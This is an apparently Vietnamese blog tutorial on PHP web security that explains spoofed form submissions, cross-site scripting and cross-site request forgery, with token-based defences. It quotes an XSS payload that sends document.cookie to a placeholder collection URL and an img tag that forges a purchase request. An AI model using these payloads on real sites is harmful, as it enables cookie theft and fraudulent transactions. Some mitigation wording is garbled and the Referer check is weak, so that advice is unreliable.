1. Form lừa đảo
Phổ biến kẻ tấn công sử dụng là sử dụng form giả để truyền dữ liệu, kẻ tấn công dễ dàng thay đổi những hạn chế giới hạn phía client, khi form được submit tất cả dữ liệu sẽ truyền đến ứng dụng của bạn.
Ví dụ:
<form method="POST" action="process.php">
<p>Street:
<input type="text" name="street" maxlength="100" /></p>
<p>City:
<input type="text" name="city" maxlength="50" /></p>
<p>State:
<select name="state">
<option value="">Pick a state...</option>
<option value="AL">Alabama</option>
<option value="AK">Alaska</option>
<option value="AR">Arizona</option>
<!-- options continue for all 50 states -->
</select></p>
<p>Zip: <input type="text" name="zip" maxlength="5" /></p>
<p>
<input type="submit" /></p>
</form>
Form trên giới hạn độ dài tối đa cho phép nhập và có thể dùng javascript để giới hạn khi người dùng nhập vào và khi form được submit thì tất cả dữ liệu form sẽ chuyển đến trang process.php để sử lý.
người dùng có thể thể định nghĩa form ở nơi khác và URL của action chỉ đến file http://domian.com/process.php chúng ta xem
ví dụ:
<form method="POST" action="http://example.org/process.php">
<p>Street: <input type="text" name="street" /></p> <p>City: <input type="text" name="city" /></p>
<p>State: <input type="text" name="state" /></p> <p>Zip: <input type="text" name="zip" /></p>
<p><input type="submit" /></p>
</form>
Khi ấy, nếu form được submit thì dữ liệu vẫn được đưa đên file process.php như ví dụ trên mà không gặp bất kỳ giới hạn nào trong form.
Chúng ta dễ dàng fix lỗi này bằng cách kiểm tra các yêu cầu sử lý từ đâu đến bằng giá trị $_SERVER[‘HTTP_REFERER’] xác nhận yêu cầu sử lý đúng trên site mình mới thực thi.
mặc dù có thể ngăn cản mọi dữ liệu xuất phát từ form của nơi khác nhưng nó không cần thiết phải từ chối tất cả dữ liệu từ nơi khác. Kiểm tra độ tin cậy các thông tin từ bên ngoài là cần thiết đảm bảo dữ liệu submit là phù hợp yêu cầu trong form and thậm chí dữ liệu từ form giả mạo không thể qua được bộ lọc.
2. Tấn công Cross-Site
Tấn công Cross-Site (XSS) là cách tấn công phổ biến và là cách tấn công dễ hiểu nhất. Tính đơn giản của kiểu tấn công và số lượng các ứng dụng dễ bị tổn thương bởi kiểu tấn công này nhiều đã lôi cuốn những kẻ có dã tâm. XSS khai thác sự tin tưởng người đùng và luôn cố gắng lấy trộm thông tin người dùng như : cookies and các thông tin cá nhân khác. Tất cả dữ liệu nhập vào ứng dụng.
Ta xét một ví dụ form sau. Form có thể tồn tại trên một số các web site cộng đồng và có thể cho phép user khác nhận xét(comment). Sau khi các lời nhận xét được gửi thì tất cả các lời nhận xét được hiển thị vì vậy mọi thứ của các lời nhận xét đều được hiển thị:
Ví dụ:
<form method="POST" action="process.php">
<p>Add a comment:</p>
<p><textarea name="comment"></textarea></p>
<p><input type="submit" /></p>
</form>
Hình dung một số người có ác tâm gửi lời nhận xét với nội dung sau:
<script>
document.location = ’’http://example.org/getcookies.php?cookies=’’ + document.cookie;
</script>
Bây giờ mọi người viếng thăm các thông tin đăng nhập được và cookies chuyển đến URL nó được truyền qua chuỗi struy vấn trên site.kẻ tấn công dễ dàng dùng $_GET[’cookies’] để lưu chúng để sau sử dụng.
3. Tấn công bằng cách yêu cầu cross-site giả
A cross-site request forgery (CSRF) là kiểu tấn công làm cho không biết HTTP yêu cầu từ đâu, thường nó yêu cầu quyền truy cập và sử dụng session của nạn nhân để truy cập. Yêu cầu HTTP sẩy ra khi nạn nhân dùng tài khoản của mình để mua hàng thay đổi hoặc xoá thông tin ngưòi dùng.
Khi một XSS tấn công khai thác sự tin tưởng của ngưòi dùng vào ứng dụng, một yêu cầu được gải mạo ứng dụng được người sử dụng tin tường, một yêu cầu đuợc cho là hợp pháp được gửi đi thât khó có thể phát hiện ra có phải thực sự người sự dụng muốn thưc hiện yêu cầu đó. Trong khi đó yêu cầu được đưa ra ngoài ứng dụng bạn, thường sử dụng là các cuộc tấn công CSRF. Nó sẽ không ngăn ngừa ứng dụng nhận yêu cầu gải mạo. Vậy ứng dụng của bạn phải có khả năng phát hiện yêu cầu hợp lệ trong đó có chứa mã có hại hay không
Ví dụ:
Chúng ta có 1 web site cho mọi người có thể đăng kí một account và họ có quyền xem các mục sách để mua . có thể giả thuyết rằng một kẻ có dã tâm đăng kí một acount và quá trình sử lý mua sách là trong suốt với site. Cách thức này được phát hiện ra 1 cách tình cờ:
+ đăng nhập và mua hàng
+ Chọn 1 cuốn sách để mua rồi bấm vào nút “buy” nó sẽ chuyển đên trang checkout.php
+ Cô ấy nhìn thấy action check out là POST, nhưng các tham số checkout sẽ được bỏ vì chuỗi truy vấn(GET) làm việc
+ Khi đặt là checkout.php?isbn=0312863551&qty=1 thì thấy báo giao dịch thành công
Với điều mộ kẻ có dã tâm dễ dàng mua hàng trên 1 site mà không mất đồng nào. rễ dàng 1 người sử dụng có thể sử dụng chèn một thẻ ảnh (img) vào vùng không được phép. nội dung của thẻ img như sau:
<img src=”http://example.org/checkout.php?isbn=0312863551&qty=1″ />
Thậm chí image gắn ở site khác vẫn có thể tiếp tục tạo ra cái yêu cầu mua hàng trên site. Hầu hết mọi trường hợp yêu cầu thất bại bởi vì user phải đăng nhập mới mua được hàng. Sự tấn công nàylà sự tin tưởng của web site với người dùng. Giải pháp cho kiểu tấn công này thay thế POST bằng GET tấn công được là do checkout.php sử dụng $_REQUEST, mảng này sẽ truy cập và lấy isdn và qty. Chúng ta nên sử dụng POST để giảm thiểu rủi do về loại tấn công này. Nhưng nó không thể bảo vệ tất cả các yêu cầu đã được nguỵ tạo.
Một sự tấn công phức tạp có thể tạo yêu cầu POST rễ ràng bằng GET. Trừ khi có một phương pháp ngăn chặn phương pháp mã thông báo(token) này bắt buộc sử dụng form của bạn. Mã thông báo tạo ra bằng cách sinh ngẫu nhiên một mã thông báo và lưu nó trong session khi user truy cập trang chứa form sẽ đặt nó vào trong form dưói 1 trường ẩn. Sẽ sử lý kiểm tra mã thông báo POST từ form với giá trị lưu trong session. Nếu đúng thì nó là yêu cầu hợp lệ nếu sai thì không sử lý và thay vào đó là thông báo lỗi .
Ví dụ:
?php
session_start();
$token = md5(uniqid(rand(), TRUE)); $_SESSION[’token’] = $token;
?>
<form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<!-- Remainder of form -->
</form>
sử lý khi form được submit:
if (isset($_SESSION[’token’])
&& isset($_POST[’token’])
&& $_POST[’token’] == $_SESSION[’token’])
{
// Token is valid, continue processing form data
}
Theo lập trình việt!
No comments:
Post a Comment